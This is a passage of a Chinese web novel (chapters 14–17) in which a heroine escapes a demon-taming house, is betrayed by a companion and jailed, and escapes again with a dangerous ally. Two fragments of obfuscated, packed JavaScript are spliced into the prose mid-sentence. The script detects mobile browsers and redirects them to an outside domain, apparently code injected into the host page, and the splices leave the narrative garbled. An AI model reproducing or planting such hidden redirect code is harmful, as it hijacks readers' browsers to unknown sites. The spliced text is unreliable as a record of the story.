白尘烬眸色平静,视线落在她嗔怒的小脸上,顺着她的手臂慢慢上移,最终停在她双手紧握的花瓶上。 沈染星略显尴尬,放下花瓶,抱在怀里,朝他挤出一个和善又甜美的笑容。 白尘烬神色依旧平静:“你觉得,用这花瓶能砸死我?” 他在开玩笑吗? 沈染星很快否定了这个想法,他居然是认真的,真的在和她探讨这个花瓶能否砸死他。 她连忙摇头,不等解释,白尘烬眉眼染上一丝笑意,渗人又温柔。 “你试试。”白尘烬的确想知道她还有哪些招式,并且不介意一一试过。 试试就逝世,她才不傻! 沈染星不知白尘烬安的什么心,连忙把花瓶放回桌面,还将花插了回去。 见白尘烬仍望着那花瓶,担心他真逼她动手,急忙扯住他衣袖。 白尘烬没躲,只垂眼看看衣袖,又抬眼看看她。 沈染星心道:看什么看,没见过手握攻略指南的女人吗。 如是想着,她长臂一伸,自他腋下穿过,直接挽住他手臂。白尘烬的肌肉几不可察地僵了一下,随即眼尾笑意更甚,也更骇人。 在他的注视下,沈染星头皮发麻,却依旧紧了紧手臂,牢牢挽住他。 她将他往屋里带:“我不知道是你,还以为被伏妖居发现,他们来捉我,才埋伏在门边。” 白尘烬默然看着她,视线落在她唇上。 沈染星凝神继续道:“约定时间已到,我约了林绯烟,可她还没来。” 她的唇有一点微微上翘的唇珠,不断张合,下唇偏左有个伤口,他记得是怎么来的。 感觉就像是……他刻了一个印章,可此时的印章,比起那日,淡了些。 沈染星:“再等一刻钟,如果她还不来,我们就直接离……” 她的话没能继续说下去,白尘烬手指温热,按在她下唇的伤口上,是那日被他吓到,她为了保持冷静而咬伤的。 而后指尖力道加重,往嘴角一抹,将她柔软的唇挤压得歪扭,疼得沈染星一缩,嘶了一声,直抽冷气。 一揉刚罢,指腹又按了上来,仿佛要将她的伤口重新揉破、揉出血。 沈染星连忙松开他手臂,连退两步护住唇上伤口,结痂处被他用力一搓,顿时火辣辣地疼。 靠,这人是抖S吗? 白尘烬眉眼平静,打量她片刻,再度朝她伸手。 沈染星心中大骇,夸张地往后一蹦,他居然还想验收被他搓红的“成果”! 什么人啊,这是! 不得了不得了,如果他真是S,依他做事没轻没重的风格,攻略他少不了皮肉之苦。 她死死捂着唇,打算将这风险的苗头彻底掐断,正欲动之以情晓之以理,门外传来了林绯烟的声音。 “抱歉,我忙完事后还要收拾包袱,来得晚了。” 林绯烟说着匆匆走进,腋下夹着个藕色包袱,面颊泛红,发髻随意挽起,没了平日精致,瞧着确是赶得匆忙。 “你来得正好。”逃命要紧,沈染星暂搁他事,开心道,“齐人了,我们走吧。” 她收拾好地图等物,将雪貂妖放入交领处。 此时,雪貂妖忽地传音:“前方来人了!要往后走。” 14. 第 14 章 有了雪貂妖的辅助,沈染星一行人仿佛开了天眼,灵巧地避开了一波又一波追兵。 两三个时辰里,他们藏身密林、穿行小径、混入大道,逃得异常顺利,最终暂歇于一处幽静山谷。 暮色如墨,四周树影模糊成片,蟋蟀与不知名的草虫叽喳鸣叫,更衬得夜寂静。 沈染星取出火折子一吹,点燃身前那堆干树枝,枯枝烧起,噼啪作响,不时悠悠飞出几点火星子。 林绯烟曲腿坐在她身侧,肩膀微微垮下,目光没有焦点,嘴唇无意识地微微张开,仿佛一句惊呼或叹息中途夭折,喃喃低语:“我们居然真的……逃出来了?” 沈染星收好火折子,塞回包袱,眉眼弯弯:“是啊,逃出来了。” 火光跃动,照亮她脸庞,暖意融融的,漾起她眼中的光,亮得惊人。 林绯烟不觉被她吸引了目光,问:“接下来要去哪儿?” “等天快亮时,我们下山找附近村落借宿,稍作休整,再往方圆镇去。” “方圆镇?” “嗯!”沈染星脸颊泛着红晕,笑意盈盈,那份欢喜不自觉感染了林绯烟。 林绯烟心中烦闷稍减,唇角也染上笑意:“我去过那儿,是个好地方,热闹便利。不过……方圆镇离伏妖居太近了,东家偶尔会去,恐怕不是久留之地。” 的确,那里离伏妖居太近,只可暂歇,不宜久居。 沈染星随手捡起一根树枝,拨了拨火堆,使它烧得更旺:“你有想去的地方吗?” “我听说天瑶庄广纳贤才,离方圆镇不远,又是伏妖居的死对头,或许是个好去处。” “你如果进了天瑶庄,”沈染星仰头,透过树杈缝隙望见满天繁星,兴奋道:“我就在附近开间小店。” 林绯烟眉眼温和,柔声问:“什么小店?” 沈染星朝她靠近,动作轻快地挽住她胳膊,还未答话,心跳蓦地漏了一拍。 一种模糊的、被窥视的感觉无声萦绕。 像一滴冰凉的墨滴入温水,缓慢而不容抗拒地晕染开来,顷刻污染了所有欣喜。 林绯烟却毫无察觉,只是发现她神色忽变,忧心道:“你不舒服吗?” 柔和嗓音拉回沈染星思绪,她定了定神,摇头道:“我……” 仍无法安心,后颈开始发麻,寒毛根根倒竖。 并非因为夜间的凉意,空气依旧闷热得令人窒息,而是一种源自本能、深入骨髓的警兆。 她猛地抬起头,目光紧张地扫向不安根源。 白尘烬静立树林深处,身形高而瘦削。火光照明有限,只勉强勾勒出他漆黑的轮廓,衣袍与面容皆融于阴影,难以分辨。 决定在此歇脚后,他便跃上附近最高树梢盯梢。 沈染星吓了一跳。 他什么时候下来的?为什么一声不响,像个潜伏在暗处的男鬼一样…… 沈染星强压下莫名恐惧,朝他勉强一笑。 可被凝视的感觉非但没有消失,反而愈发尖锐、具体。它不再是无方向的模糊感知,而是凝聚成了一束……冰冷、强势、充满了难以言喻的威慑感的“视线” 这视线如有实质,牢牢地钉在她的手臂上,正一寸寸地刮过她的皮肤,留下看不见的寒霜,逼得她不由自主将手臂从林绯烟臂弯中抽回。 她甚至生出荒谬幻觉:他仿佛想刮去她手臂一层皮肉。 方才还好端端的,不知他怎么了?是因无聊而玩性大发,故意吓她吗? 她强迫自己镇定,管他这的那的,先设法让他情绪平复才好。 沈染星缓缓起身,直接朝白尘烬走去。就在这一刻,他注视的强度骤然飙升。 她呼吸急促起来,不由加快脚步。 理智发出警告,步伐却未停。 她觉得自己大概是疯了,竟对明确的危险趋之若鹜。一阵强烈的眩晕和心悸猛地窜起,她分不清,这究竟是恐惧,还是一种令人上瘾的悸动。 总之,她的心脏正鲜活地、疯狂地跳动,砰砰地撞着她心口。 林绯烟在身后叫她,被一种低频的、血液流动的嗡鸣声隔绝在外,落入耳中,只剩下了模糊不清的一串词语。 沈染星几乎跑起来了,扑到白尘烬臂边,一把挽住他,姿态亲昵。 白尘烬纹丝不动,视线在两人相交的手臂上停留了很久,然后缓慢地、平静地向上移动,掠过她单薄的肩膀,纤细的脖颈,最后停留在她因为紧张而微微泛红的脸颊。 “我们在想未来要做什么,你有想法吗?”即便在昏暗光线下,她眼眸依旧澄亮,“等安顿下来,我们一起去寻无忧山吧。” 白尘烬眼眸微眯,轻声道:“好啊。” 他倒要看看,她是如何得知无忧山的,又为何敢如此有恃无恐地挂在嘴边。 “若是我们开家小店……”沈染星一面说着,一面挽着他往火堆走,“你说做什么营生合适?” 白尘烬瞥她一眼:“你能做什么?” “暂时没想到。” “你会做什么?” “目前只想到吃饭和睡觉……” “你们……”随着他们走近,林绯烟见两人挽着手,不由惊呼。 她一双美目睁得圆圆的,视线牢牢锁在那一双交叠的手臂上,语气里充满了难以置信。 被她撞见,沈染星面不改色,理所应当地拉白尘烬在火堆旁坐下,投去疑问目光:“嗯?” 林绯烟摇头,掩下眼中讶异。 沈染星又往白尘烬靠近些,衣料发出细微窸窣声。 火焰跳动,映照他晦暗不明的侧脸。她忽然觉得,他的情绪就像这团火,灼热而不稳定,而自己的靠近则似水,似乎只有贴得这样近,才能稍稍压下他那份无声的躁动。 她不由得想起原书中女主,那人似乎什么都不必做,只需静静站在他身边,就能让他自然缓和,甚至流露温柔。 或许她的个人魅力远不及那人,到了她这里,总要更主动、更亲近才行。 不过也无所谓了。她悄悄瞥一眼身边沉默的白尘烬,只要在这段躲避追踪的日子里,他能护她周全,其他都不重要。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222851|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林绯烟不动声色扫过两人相接的衣摆,柔声道:“不如你也一起进天瑶庄吧,独自开店并非易事。” 沈染星手肘撑膝,托着下颌:“我不想再做驯妖的活了,得好好挖掘潜能,学个能营生的手艺。” 说完,她想起什么,急忙扭头看白尘烬。 果然,他正静静凝视她。 不久前才大放厥词,大义凛然,要改革驯妖方法,搞什么“共生契约”和平驯妖,如今又说开小店,人设似乎有些割裂了…… 为维持人设,她话锋一转:“即便再接触驯妖,也要换更好的方式,整天打打杀杀,太吓人了。” 趴在白麻布上养伤的雪貂妖“吱吱”叫个不停。 沈染星将雪貂妖托在掌心,点头道:“是的,他们往你脑袋钉钉子了,简直惨无人道,太过分了。” 林绯烟关心道:“小妖不会是提醒追兵到了吧?” “不是,它只是在痛骂伏妖居里的人。”沈染星起身,“我去给它换药。” 说着转身朝后方包袱走去。 火堆旁只剩两人。 林绯烟柔柔转眸,轻轻瞥向白尘烬。 白尘烬是棵摇钱树,洪营心知肚明,若他真想走,自己根本留不住。除了百般优待、给尽特权,洪营唯一能做的,便是授意林绯烟接近他,企图以美色为最后绳索,将他死死绑住。 林绯烟明里暗里的试探,或乞怜,或故作坚毅,或卖弄风情,皆告无效。白尘烬全然无动于衷,甚至反叫她感到致命威胁,若再惹恼他,只怕自己会性命不保。 因此她也暂缓了。 白日听闻沈染星说与他关系亲近,只当言语夸张,如今看来,所言非虚。 林绯烟心思又活络起来。 即便不为洪营,她也想得他青睐,是人都会慕强,更何况他还是随手能赠出玉肌生膏的人。 她起身朝白尘烬走近两步,又坐下,此时两人相距不过半臂。 白尘烬未予理会,捡起沈染星放置在身侧的小棍,拨弄火堆,火星飘起,转瞬湮灭。 林绯烟曲肘支颐,衣袖滑落,露出一截玉臂:“东家待你不薄,何必如此奔波?” 白尘烬撩起眼皮,淡淡扫她一眼。 得了回应,林绯烟大受鼓舞:“东家看重你,若你愿回去,他可不计前嫌,待遇一应如旧。” 白尘烬勾起嘴角,灰蓝眼眸带笑,却让林绯烟遍体生寒,汗毛倒竖。 此时沈染星的惊呼从不远处传来:“别动,上药只是疼一时,不上药可是要痛好一阵的!” 她盘坐后方,背对他们,正低头为雪貂妖上药。 “逃不掉的……”林绯烟压下恐惧,学着沈染星靠近白尘烬,“东家很快便会找來。” 白尘烬眼眸一转,落在她脸上:“噢?是吗?” “是啊。”林绯烟吞咽一下,玉臂如蛇般缓缓探向他,“哪是想逃就能逃的?伏妖居可不是吃素的。” 白尘烬周身气息骇人,她小心翼翼,内心尖叫着想逃离,却仍违背本能,伸手欲挽他。 15. 第 15 章 沈染星正哄着雪貂妖上药,忽听身后一声惊呼,连忙回头。 火堆旁,林绯烟摔出几步远,浑身战栗,脸色煞白,贴着地向后爬退。 白尘烬静立在她前方,头颅微垂,下颌收紧,手中反握一截枯枝,如同持着一把匕首。 他要杀她。 这念头刚闪过,沈染星便见白尘烬扬起了手臂。 她立刻放下雪貂妖,连奔带跑,飞扑过去,死死拉住他的手:“先冷静!别动手!” 白尘烬眉眼平静,仿佛只是做件寻常事:“我杀她,与你何干?” 林绯烟面无人色,惊惶后退:“我从未想过害你……为何要杀我……” 她万万没想到,方才分明气氛尚可,白尘烬却骤然发难,将她掀倒在地,二话不说便要下杀手…… 沈染星无暇理会她,只拼命拉住白尘烬的手:“你先放下手!” 白尘烬不语,目光沉沉落在她脸上,像是对她阻拦不满。 他对她并无杀意,不满就不满吧,又不会掉块肉。 沈染星望向面如土色的林绯烟,是她邀对方一同逃跑的,如今半路遇险,她总不能见死不救。 情急之下,她直接搂住白尘烬胳膊,用自己的体重硬生生将他手臂往下压,生怕他挣脱开来,去杀林绯烟。 “有话好说!” 她根本不是白尘烬对手。如果他决意要杀林绯烟,她不仅没有任何阻止之力,搞不好连自己都会赔上性命。 幸好他没有。 他松手了。 只是眼神带着玩味,似在等好戏上场。 沈染星几乎整个人缠在他臂上,这意味深长的眼神让她心中挤满了不安,心跳如擂鼓。 见白尘烬不再逼近,林绯烟顿时瘫软在地,失了神。 与此同时,前方密林深处传来一阵簌簌怪响。林子黑压压的,在夜幕下,如同一堵墨潮翻涌、即将倾塌的高墙。 不待沈染星辨明方向,四下里异响渐起,来自四面八方,不一会便将她团团围住。 她心蓦地一跳,背脊生寒,只觉自己仿佛坠入了一个活着的陷阱,连空气都绷紧了弦。 一抹白影自林中一闪而过。 沈染星立时看向雪貂妖的方向,哪里还有身影,只余下一张展开的白麻布。 ……它逃了。 怔愣刹那,四面林中钻出道道黑乎乎的人影,约十余人,皆骑马,其间穿插三只双耳猎犬妖。 一头飞鹰掠过,落在为首之人肩头。 那人骑高头大马,身形瘦削,脊背挺直,两撇八字胡随他咧开的嘴微微上翘。 他身后渐次亮起火光,随他而来的追兵点燃了手中火把。 光线大亮,八字胡眼神阴险,如刀似的盯着沈染星:“一个小小杂役,居然敢逃。” 在他的注视下,沈染星头皮发麻,缩了缩身子,往白尘烬身后躲去。 接下来,是白尘烬的主场。 “现在束手就擒,我可饶你一命。”八字胡捋了捋胡须,“不过你得一五一十告诉我,是如何躲开所有追兵逃到此处的?” 沈染星还是不答,暗暗打量八字胡。 八字胡身后有人按捺不住:“放肆!问你话呢!” 为何追兵忽然出现?八字胡又是谁?他实力如何?地位如何?接受贿赂吗…… 沈染星满腹疑问,最后凝聚成两字:“你谁?” 一瞬间,四周死寂,连风都似停了。 八字胡哈哈笑了两声:“你会不认识我?是想拖延时间吧,还有什么把戏?” “我真不认识你。” 她躲在白尘烬身后,话却说得有恃无恐,端的是一副狐假虎威之态。 八字胡被噎得一怔,其余人不敢吭声,连白尘烬也侧首垂眸,瞥了她一眼。 沈染星是真不认识此人,也没其他把戏,若说她手上的底牌,就是被她搂住手臂的白尘烬。 虽说此时处于下风,但按书中对他实力的描写,处理这些追兵应不成问题。 可她不敢明说。 她怎么敢指使白尘烬,总不能来一句“去吧,白尘烬”。 若真喊出,在场第一个死的恐怕就是她…… 八字胡不再看她,转向仍坐在地上的林绯烟:“绯烟,还不过来!” 林绯烟猛地回神,急忙爬起来,快步走向八字胡。 沈染星望着她迫不及待的背影,正要开口阻止,八字胡双眼一眯,眼尾叠出几道褶子,笑道:“蛇妖还差临门一脚便驯好了,尘烬想必不会放任不管吧?现在就等你给那妖核烙上印记呢。” 落入人类手中的大妖,要么妖核被烙印记后妖力减半、成任人操控的傀儡,要么……死。 听八字胡话里话外,是以那大妖性命相胁? 沈染星只觉可笑,白尘烬岂是在意他人生死的良善之辈? 他的如意算盘怕要落空了。 可她没想到,落空的,竟然是她的算盘。 “自然不会不管。”白尘烬温声道,一手按住她肩,将被她紧搂的手臂抽出,缓慢而不容抗拒。 沈染星浑身僵直,大脑过载,将这句话反复在心中咀嚼,无论从哪个角度理解,最终只得出一个结论—— 他放弃她了。 她视线一寸寸上移,掠过素帛缠绕的脸,落入白尘烬眸中。那眼神冷静、玩味,蕴着一种近乎优雅的残忍。 恐惧如冰水灌满肺腑。 她眼睛干涩,张了张嘴,却发不出任何声音。 白尘烬眉目含笑,有礼地朝她颔首,随即毫不留恋地转身离去。 一场轰轰烈烈、惊心动魄的逃跑,就此以失败落幕。 沈染星被锁入笼中。 曾经她便觉得,没了自由,时刻身处危险,与血腥相伴的她,与笼中妖一般无二。 如今被关进笼,与妖的处境更像了。 笼高与她相仿,勉强能站立,四周漆黑,她辨不清方位,只知这是一座地牢。 门外传来脚步声,一点火光流入。 “东家,她偷了只未完全驯服的雪貂妖,直接拔了妖钉,那妖居然还听她命令,她定是有什么特别的法子……” “此话不可外传,我自会细细盘问。” “还有,已经一天一夜没见着林哥了。绯烟说,这几日林哥似乎对这妞儿不一般,或许她知道林哥下落。” “那便顺道从她嘴里撬出来。” “是是是……” 脚步声渐近,沈染星靠坐笼中最里处,抬头望去。 走在最前的,正是那瘦削八字胡,身后跟着两名持火把的随从。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222852|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来这八字胡就是视钱如命、胆大包天的东家洪营,虽说体型相差大,细看之下,洪大林与他确有几分相似。 在被关在笼中运回的这一路上,沈染星除了臭骂了白尘烬一顿,再就是想到了一法子活命。 既然洪营爱财,她是妖语者,又知道这个世界未来走向,她可以可投其所好,帮他赚钱,换一线生机。 只是没想到,林绯烟会将她与洪大林的事抖露出来…… 人是白尘烬杀的,但愿他将尸体藏得够紧…… 正想着,三人已至笼外。 洪营微微仰头,睨着她:“我知道你是一个聪明人,你对我有用,我自不杀你,不过……”他嗓音尖利傲慢,“既敢逃,皮肉之苦自然是少不了的。” 即便对这一顿皮肉之苦早有预料,沈染星仍然无法自控地颤抖。 伏妖居的刑罚她略知一二,惩罚起妖来炉火纯青,落在人身上,自然也不遑多让。 洪营身后的一名随从从怀里掏出钥匙,大步跨上前来。 脚步声与钥匙撞击声,交织成震耳嗡鸣,几乎撕裂耳膜,她如待宰羔羊,任何反抗念头都被轻易碾碎。 今晚,只要熬过今晚就好。 洪营声音穿透牢笼:“你可知,我们如何找到你的?” 沈染星这下怂比鹌鹑,是有问必答,还加上了动作,她摇头道:“不知道。” 可能是被雪貂妖利用了罢,它嫌疑最大,路是它带的,人来时它逃得最快。 她想着利用白尘烬,谁知反被他人利用,恶有恶报,她也认了。 “绯烟过得再不好,在这伏妖居里,也是锦衣玉食,她又怎会愿意放弃这里的一切,和你走。” 沈染星猛的抬头,满目不解。 “你也别把礼义廉耻那一套套在她身上,她除了有些姿色,别无所长,若是良善,又怎会坐到管事的位置。” “你邀她同行,倒是个意外之喜。”洪营自顾自赞赏点头,“我让她设法勾住白尘烬,防他说走就走,可一直寻不到门路。” “后来,她听说你与白尘烬走得近,便想法靠近你……” 话未说完,门外传来匆匆脚步,人未至声先到:“东家!贾老板来了,已经在厅里候着了!” 洪营扭头:“着急个什么劲儿,怕我给不了他妖吗?” 来人跑到他面前,躬身急道:“不知谁给他透了信,说负责驯蛇妖的驯妖师跑了,他担心我们驯不成,一早便来要妖了。” 洪营不耐烦,胡乱挥手,喝道:“笼子给我锁上,等我回来再审,你们两个守在门外。 说罢转身风风火火离去。 报信随从快步跟上他:“贾老板气势汹汹,说要是这大妖给驯坏了,会让我们赔的倾家荡产……” 洪营最听不得赔钱的事,脚步不停,尖声打断:“我知道,我知道,你快快闭嘴!” 一阵哄闹过后,人皆离去,昏暗牢里,又只剩沈染星一人。 背叛她的……竟然是林绯烟。 沈染星深吸一口气,将无处发泄的愤恨集中在拳头,狠狠的砸向铁笼。 哐当地一声巨响,在牢里回荡。 她泄了气般,靠在铁笼上,抱住双膝,将脸埋下去。 “吱吱……吱吱。” 寂静牢房中,忽传来熟悉声响。 16. 第 16 章 沈染星猛地站起身,大步冲到铁笼边,双手扒住铁杆,将小半张脸挤出栏杆外。 洪营一行人离开前,在墙上插了一支火把,勉强照亮狭窄的牢房,借着这点微弱的光,她抬眼环顾,目之所及,却皆是光秃秃的石壁。 她凝神屏息细听,听到自己浅浅的呼吸声,听到火把燃烧发出噼啪声,除此之外,再无其他声响。 是幻听了吗? 她垂下手,任由冰冷铁杆挤压脸颊,眼睫低垂,久久不动。 铁杆硌得她双腮发麻,时间感知变得模糊而漫长。许久,外头才天光大亮,一丝微光自嶙峋甬道透入。 “吱吱,吱吱。” 她没有动弹。 “吱吱……吱吱。”这两声愈发清晰,仿佛就从脚边传来。 沈染星视线向下,一眼便撞见了一双晶蓝圆眼,正扑闪扑闪地望着她。 她懵了一瞬。 危难之时,雪貂妖是第一个离她而去的。而后接连遭人抛弃,深陷笼中,她曾一度怀疑它、怨恨它,甚至小肚鸡肠地想,如果逃过此劫,再次遇到它,绝不让它好过。 后来又得知它是无辜的,心中反倒升起一股庆幸,她逃不了,它能逃,也不算白忙一场。 精神陡然一振,她连忙蹲下身,抓起雪貂妖就往笼外推。 “你怎么回来了?没被人发现吧?我出不去了,你快走!”她压低声急道,“一会儿他们该来了,快走快走。” 雪貂妖能回来找她,她自是高兴的,可是如今她身陷囹圄,难以脱身,何必又再连累它。 要是它再被抓回去…… 多亏! 可是她话音刚落,雪貂妖圆润的屁股一扭,又往笼里钻。 沈染星横掌挡住它,急道:“你怎么还往里钻!” 两方对峙下,叮当一声轻响,铁器落地。 雪貂妖的声音同步传入她脑中:“我把钥匙偷来啦。” 她移开手掌,定睛看去。 救出雪貂妖后,她抽空细细给它打理过毛发,虽说不能立刻养得油光水滑,却也干净整洁,通体纯白,脑袋上整齐绑着白色素帛。 可如今它小脑袋素帛松散,毛发脏污杂乱,还夹着一片残叶,它若是人,一定是一副鼻青脸肿的模样。 可见,它这一路走得……也很是艰辛。 在它身前,静静躺着一把钥匙,半掌长,浅褐色铁锈上微微濡湿,还沾着点血迹。 很难想象,它这巴掌大的身躯,还带着重伤,是如何偷跑回来,又如何从守卫手中盗出这把钥匙,叼来给她。 沈染星吸吸鼻子,不敢耽误片刻,将雪貂妖拾起,小心放入交领内,又捡起钥匙,忙不迭地站起身,托起沉甸甸的锁就往锁眼里捅。 能逃过刑罚,免去皮肉之苦,她自然会提起十二分精神,抓住这个机会。 可不知是因兴奋、紧张还是恐惧,她的手抖得厉害。本就反着手,行动不便,试了好几下,都没能把钥匙插进去。 雪貂妖很安静,静静窝在她心口,或许在养精蓄锐,也可能昏了过去。 又试了几次,钥匙尖撞击锁头咔咔作响,就是进不去。 沈染星心一狠,一用力,小臂往下重重一撞,撞在了棱角分明的铁杆上。 剧痛登时炸开。 在痛楚加持下,手终于不抖了,只是有些发软,但不妨碍她开锁。 她哆哆嗦嗦地插入钥匙,急切地来回拧动,钥匙与锁孔在铜锁内部相撞,咔咔地响个不停,又急又碎。 终于,咔嗒一声,锁开了。 沈染星喜出望外,望到了笼子外,距离四五步那处……站着个人。 白尘烬立在昏冥之中,从容不迫,身形与幽暗仿佛融为一体,却又奇异剥离而出。 在一片混沌中,她的目光凝在他那双暗蓝色的,平静到近乎冷漠的眼眸里。 方才那一撞,力道着实不小,丝丝缕缕的疼从小臂的伤口中渗出,一直攀沿而上,游过经脉,缠上心口,力道极大,尖锐的痛自心脏传来,恍惚间,她还以为旧疾复发。 为什么偏偏是他? 即便两人互相利用,她也始终以为在他心中,她是有些不同的。 即便需花费更多气力、更多心思,才能换他一时的庇护,但与其他人相比,她也是不同的。 刚燃起的希望被掐灭便罢了,偏偏是他发现的,唯一的生路,竟由他亲手截断。 简直是杀人还诛心。 他接下来要做什么?对她用刑欣赏她的痛苦,还是将她绑到洪营身前,围观她的惊恐? 她甚至在想,兔子逼急了还咬人呢,不如飞奔过去,将他咬得鲜血淋漓,以解心头之恨! 当然这种伤敌零,自损一千的勾当,她是不会做的…… 沈染星右手执锁,左手掌心一拍,咔嚓一声清响,在寂静地牢中回荡。 锁又合上了。 她扬起煞白小脸,调动脸上肌肉挤出一个笑,像个安分的狗腿子:“哈哈……你说这守卫,笼子居然没锁好。” 白尘烬不语,自阴影中踱步而出。 沈染星抬手攥住衣领,确认雪貂妖没露出来,踉跄向后退去。 他似乎不打算睁一只眼闭一只眼,真准备挑明此事。 她试图商量:“我可以揽下所有责任……刚才的事,能不能帮我保密?” 白尘烬安静得吓人,脚步声冷静有序,不疾不徐。 她还欲开口,余光忽瞥见他手上拎着一个包裹,灰青色,不大,垂在他腿侧随步伐轻微晃动,顺眼极了。 是她的包袱! 钱啊,她的钱都在里面! 沈染星心脏砰砰急跳起来,猛地往前迈两步,双手重重握上铁杆! 当的一声震响,白尘烬眼中光亮微动,随即眉头轻蹙。 不救她,心里烦躁得厉害;救她,见她这般窝囊软弱,又窝出一团火来。 他不明白,自己怎会差点栽在这种人手上。 这股无名火在心里翻搅,灼热、澎湃、难以抑制,几乎要迸溅而出。 最终,火气落在了笼门那把锁上。 锁由青铜所铸,棱角分明,厚重沉稳,覆着一层斑驳锈迹。 白尘烬手指骨节分明,按在锁上,往前一握,素帛缠绕的手心与冷铁相触。锁与铁环猛地相扯,震得整个笼子都在颤动。 隔 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沈染星心思微动,直接跪坐起来,得寸进尺地将手掌前滑,一把攥紧他整个手掌。 白尘烬眉头一皱,似是未料到她竟如此胆大妄为。 他再要抽手。 沈染星却攥得更紧了,甚至还一个借力,踉跄站起来,几乎撞进他怀里。 鼻尖传来她身上特有的淡淡香气,白尘烬并未躲开,只眉头紧锁:“松开。” 傻子才松开! 沈染星不接话,牵着他的手就要外走:“我们先离开这里,一会儿该有人来了。” 才出铁笼未走两步,却没拉动身后的人,反被力道带了回去。 白尘烬纹丝未动,任她抓着,姿态看似放松,实则每一寸肌肉都绷着隐秘的张力。修长的手硬邦邦的,暴露出平静表象下的隐忍。 素帛粗粝干爽,夹在两道温热掌心间,细微摩挲感令沈染星掌心发痒。 刻意忽视的不安反涌上来,先前被他毫不犹豫抛弃,已经在她心底烙下深深印记。 有一次,便会有第二次。她拿不准他何时会再弃她一次,将她推入深渊,永困泥沼。 能独自逃走自然最好,可既被他发现了…… 沈染星屏息望着白尘烬。 阴影在他周身流动,也无法稀释那浓重的占有感。 他不会放她走的。 至少在他戏弄的兴趣淡去之前。 他演这一出,总不会只为让她燃起希望又亲手掐灭吧? 狗东西!这样就太过分了! 紧张之下,她牵他的力道加重,杏眼紧盯着他:“不走吗?” 白尘烬抬眼看她,没有说话,也没有从她的掌心中抽出自己的手。 沈染星后背出了一层冷汗,凉飕飕的,仿佛被当头泼了一盆冷水。 她静默等待,仿佛等候阎王爷宣判罪行,等那判签落地。 良久,他终于开口了,声音冷淡又带笑意,落在她心跳上: “走。” 17. 第 17 章 判签落地,她死罪已免,可活罪难逃。 这一次光天化日下的逃亡,主动权全然掌握在白尘烬手中。 他无视雪貂妖的警示,任她牵着手,径直出了牢门。 结果显而易见,正正撞上了守卫。 守卫见到白尘烬,面上还挂着恭敬的笑,可目光落到沈染星身上时,眼神却瞬间锐利。 “白管事,东家升了您的职,许您来看她,可没说您能带人出去。”说着,他大手一伸,直朝沈染星抓来。 沈染星吓得魂飞魄散,下意识往白尘烬身后躲。 白尘烬立在原地,并未护她,却也没让开,甚至仍由她牵着手。 “让开!”守卫语气不再客气,锵的一声,拔出亮晃晃的长刀来。 巡逻的经过也意识到事情不简单,拔刀声齐响起,长刀相对,堵住了去路。 眼见七八人围拢过来,沈染星心脏狂跳,几乎能听见血液冲上头顶的声音。 白尘烬却依旧从容。 怎么回事!就站在这里当靶子吗? 刀剑无眼,打起来时,她可没那本事躲! “白管事,把人交出来,我们不会对您动手,您自行去东家那儿领罚。”守卫说着,再次朝沈染星伸手。 前有虎视眈眈的手,后有几把刀锋遥遥对着,沈染星根本无处可逃,她只能蜷缩肩膀,埋着头,恨不得挤进白尘烬身里。 粗糙手指靠近,即将触到她手臂时,“噗”一声闷响,守卫的手齐腕而断,跌落在地。 她衣袖溅上几滴鲜血。 紧接着,守卫喉咙划开了一道口子,鲜血喷涌而出,身体重重的倒在了地上。 而他的刀,正握在白尘烬左手中,刀身锃亮,刀刃一抹红。 在场的人,都未能看清刀是如何到他手中的,就连几乎贴在他身上的沈染星,也没瞧清动作。 “挡住他们!”一守卫反应极快,立刻高声示警,横刀身前,紧盯二人。 气氛骤然紧张。 白尘烬一袭鸭青长衣,身形挺拔,墨发半披,素帛覆面,只露一双雾蒙蒙的灰蓝眼眸,眼尾还噙着笑。 他气定神闲,手腕一转,刀尖指向正前方守卫。 那人惊恐地往后退了几步。 他又转眸扫向其他人。 守卫方才还气势汹汹,步步紧逼,霎时间阵脚松动,退缩之意明显。 白尘烬视线最终落到沈染星身上,这突如其来的变故,让她久久回不过神,只愣愣地与他对视。 那双阴冷眼中的笑意更盛。 “快走!有人来了!”雪貂妖声音虚弱,传入她脑海,语气急切,“往右后方逃,快!” 沈染星猛地回神,臂上血迹黏腻,再顾不得,拉白尘烬就要走:“援兵到了,先走吧。” 白尘烬也不再耽搁。 就在两人转身瞬间,伏妖居内院的方向,伴随着急促的脚步声,传来了更加嘈杂的呼喝声。 已经到跟前了。 沈染星紧张得浑身发颤,没料会闹出这么大动静。 突然,白尘烬反握住了她的手,力道极大。 “呃!”沈染星痛得闷哼一声,觉着骨头都要被捏断了。 下一瞬,一股巨力自他手中传来,将她猛地向前一拽! “既然想逃,那我便带你逃吧。” 轻飘飘一句话,不含情绪,单听内容是好的,可沈染星一瞬便察觉到,他言不止于此。 果不其然,下一刻,她只觉得天旋地转,整个人被那股巨力拖着,几乎是跌撞地被白尘烬强行拖拽,朝着与追兵相反的方向冲去。 “站住!” “别让他们跑了!” 身后传来怒吼声,脚步声也越来远近,混杂着风声灌入耳中。 沈染星根本无力反抗,白尘烬的速度快得惊人,地面飞速后退,手腕处传来钻心的疼痛,呼吸被疾风割得支离破碎。 她像个破布袋一样,被强行拖行,好几次差点摔倒,那力量毫不怜惜,硬生生扯住她,继续向前狂奔。 